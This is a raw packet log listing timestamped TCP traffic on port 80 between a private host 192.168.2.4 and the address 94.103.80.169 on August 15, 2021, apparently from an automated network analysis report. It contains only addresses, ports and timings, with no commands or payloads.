Aug 15, 2021 08:40:36.307240009 CEST	80	49750	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:36.307323933 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:36.418176889 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:36.446576118 CEST	80	49750	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:36.446692944 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:36.562252045 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:36.591259956 CEST	80	49750	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:36.591363907 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:36.701081991 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:36.730895042 CEST	80	49750	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:36.731008053 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:36.839909077 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:36.869055986 CEST	80	49750	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:36.869117975 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:36.981270075 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:37.010545969 CEST	80	49750	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:37.010694027 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:37.121469021 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:37.149533033 CEST	80	49750	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:37.149629116 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:37.262455940 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:37.290076017 CEST	80	49750	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:37.291151047 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:37.404966116 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:37.433433056 CEST	80	49750	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:37.435271978 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:37.543117046 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:37.571012974 CEST	80	49750	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:37.571185112 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:37.683759928 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:37.714905977 CEST	80	49750	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:37.717042923 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:37.824980974 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:37.852544069 CEST	80	49750	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:37.852667093 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:37.965845108 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:37.993849039 CEST	80	49750	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:37.996109009 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:38.106983900 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:38.135205030 CEST	80	49750	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:38.135360003 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:38.263154984 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:38.291815996 CEST	80	49750	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:38.291912079 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:38.403996944 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:38.431982994 CEST	80	49750	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:38.432102919 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:38.545074940 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:38.572735071 CEST	80	49750	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:38.572813034 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:38.684525013 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:38.712008953 CEST	80	49750	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:38.712116003 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:38.825416088 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:38.853362083 CEST	80	49750	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:38.853472948 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:38.965908051 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:38.995518923 CEST	80	49750	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:38.995632887 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:39.105766058 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:39.134846926 CEST	80	49750	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:39.134963036 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:39.257201910 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:39.285710096 CEST	80	49750	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:39.285789967 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:39.402947903 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:39.431056976 CEST	80	49750	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:39.431201935 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:39.543118000 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:39.571214914 CEST	80	49750	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:39.571301937 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:39.684472084 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:39.712239027 CEST	80	49750	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:39.712330103 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:39.824966908 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:39.852916002 CEST	80	49750	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:39.853172064 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:39.967689991 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:39.995352030 CEST	80	49750	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:39.995757103 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:40.106610060 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:40.136136055 CEST	80	49750	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:40.137631893 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:40.249345064 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:40.277137041 CEST	80	49750	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:40.279191971 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:40.391586065 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:40.420883894 CEST	80	49750	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:40.421139956 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:40.530112982 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:40.560339928 CEST	80	49750	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:40.561081886 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:40.669047117 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:40.696225882 CEST	80	49750	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:40.696891069 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:40.809720993 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:40.838057041 CEST	80	49750	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:40.838135004 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:40.949827909 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:40.977822065 CEST	80	49750	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:40.978003979 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:41.089956999 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:41.119823933 CEST	80	49750	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:41.119924068 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:41.247189999 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:41.277237892 CEST	80	49750	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:41.277348995 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:41.389234066 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:41.416769028 CEST	80	49750	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:41.416867971 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:41.530683994 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:41.558300972 CEST	80	49750	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:41.558516026 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:41.688724041 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:41.718064070 CEST	80	49750	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:41.718139887 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:41.858366966 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:41.885868073 CEST	80	49750	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:41.885960102 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:41.996934891 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:42.026568890 CEST	80	49750	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:42.026705027 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:42.144424915 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:42.172285080 CEST	80	49750	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:42.172401905 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:42.299937010 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:42.329341888 CEST	80	49750	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:42.329440117 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:42.451169968 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:42.480915070 CEST	80	49750	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:42.481276989 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:42.669027090 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:42.697460890 CEST	80	49750	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:42.702080011 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:42.997235060 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:43.027383089 CEST	80	49750	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:43.027724981 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:43.170106888 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:43.199322939 CEST	80	49750	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:43.200243950 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:43.473793030 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:43.502825975 CEST	80	49750	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:43.502913952 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:43.716064930 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:43.744118929 CEST	80	49750	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:43.744259119 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:43.885575056 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:43.915041924 CEST	80	49750	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:43.915100098 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:44.155806065 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:44.185015917 CEST	80	49750	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:44.185035944 CEST	80	49750	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:44.185096025 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:44.185132027 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:44.213805914 CEST	49750	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:44.239228010 CEST	80	49750	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:44.766180992 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:44.797976017 CEST	80	49753	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:44.798161983 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:44.799241066 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:44.824697971 CEST	80	49753	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:44.831693888 CEST	80	49753	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:44.831763983 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:44.953490019 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:44.981661081 CEST	80	49753	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:44.983947039 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:45.107584953 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:45.139238119 CEST	80	49753	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:45.139342070 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:45.248033047 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:45.278002977 CEST	80	49753	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:45.278153896 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:45.392225981 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:45.423971891 CEST	80	49753	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:45.427614927 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:45.543879032 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:45.571954012 CEST	80	49753	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:45.572032928 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:45.685313940 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:45.713746071 CEST	80	49753	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:45.713937044 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:45.825541019 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:45.854229927 CEST	80	49753	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:45.854373932 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:45.965918064 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:45.997385979 CEST	80	49753	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:45.997617960 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:46.106587887 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:46.135241985 CEST	80	49753	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:46.137535095 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:46.248264074 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:46.275870085 CEST	80	49753	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:46.276007891 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:46.392714024 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:46.420447111 CEST	80	49753	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:46.420615911 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:46.529038906 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:46.557009935 CEST	80	49753	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:46.557168961 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:46.670259953 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:46.698818922 CEST	80	49753	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:46.698934078 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:46.810028076 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:46.839674950 CEST	80	49753	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:46.839790106 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:46.950563908 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:46.978710890 CEST	80	49753	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:46.978811979 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:47.090580940 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:47.120100021 CEST	80	49753	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:47.120222092 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:47.234888077 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:47.262927055 CEST	80	49753	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:47.263030052 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:47.373621941 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:47.402750015 CEST	80	49753	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:47.402829885 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:47.514084101 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:47.541918993 CEST	80	49753	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:47.541985989 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:47.671143055 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:47.701121092 CEST	80	49753	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:47.701229095 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:47.812933922 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:47.841995955 CEST	80	49753	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:47.842076063 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:47.952311993 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:47.980639935 CEST	80	49753	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:47.980729103 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:48.092093945 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:48.120213032 CEST	80	49753	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:48.121876001 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:48.237709999 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:48.266439915 CEST	80	49753	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:48.266586065 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:48.372080088 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:48.399565935 CEST	80	49753	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:48.399657965 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:48.513106108 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:48.540996075 CEST	80	49753	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:48.541119099 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:48.657740116 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:48.686436892 CEST	80	49753	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:48.686604977 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:48.793900967 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:48.822001934 CEST	80	49753	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:48.824214935 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:48.936343908 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:48.964637995 CEST	80	49753	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:48.964740992 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:49.075839996 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:49.104518890 CEST	80	49753	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:49.104646921 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:49.216531992 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:49.246646881 CEST	80	49753	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:49.246757030 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:49.357763052 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:49.386228085 CEST	80	49753	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:49.386358976 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:49.498928070 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:49.527283907 CEST	80	49753	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:49.527385950 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:49.640145063 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:49.668550968 CEST	80	49753	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:49.668665886 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:49.795605898 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:49.823558092 CEST	80	49753	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:49.823702097 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:49.936449051 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:49.964200974 CEST	80	49753	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:49.966033936 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:50.076931000 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:50.106182098 CEST	80	49753	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:50.106383085 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:50.215985060 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:50.244312048 CEST	80	49753	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:50.244750977 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:50.357469082 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:50.386213064 CEST	80	49753	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:50.386339903 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:50.498090029 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:50.526599884 CEST	80	49753	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:50.526741982 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:50.638124943 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:50.666018009 CEST	80	49753	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:50.666208029 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:50.778876066 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:50.806296110 CEST	80	49753	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:50.806400061 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:50.918984890 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:50.946500063 CEST	80	49753	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:50.946605921 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:51.060769081 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:51.091578960 CEST	80	49753	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:51.091671944 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:51.200645924 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:51.228657961 CEST	80	49753	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:51.228789091 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:51.341548920 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:51.370469093 CEST	80	49753	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:51.371017933 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:51.482532024 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:51.515156031 CEST	80	49753	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:51.518215895 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:51.638535976 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:51.670742989 CEST	80	49753	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:51.672451019 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:51.779390097 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:51.811481953 CEST	80	49753	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:51.814282894 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:51.919576883 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:51.947765112 CEST	80	49753	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:51.948086023 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:52.060638905 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:52.089338064 CEST	80	49753	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:52.090251923 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:52.200586081 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:52.227942944 CEST	80	49753	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:52.228121042 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:52.341476917 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:52.371171951 CEST	80	49753	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:52.371296883 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:52.481625080 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:52.517910004 CEST	80	49753	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:52.518052101 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:52.622266054 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:52.650479078 CEST	80	49753	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:52.650662899 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:52.766151905 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:52.794332981 CEST	80	49753	94.103.80.169	192.168.2.4
Aug 15, 2021 08:40:52.794617891 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:52.903784037 CEST	49753	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:40:52.933139086 CEST	80	49753	94.103.80.169	192.168.2.4
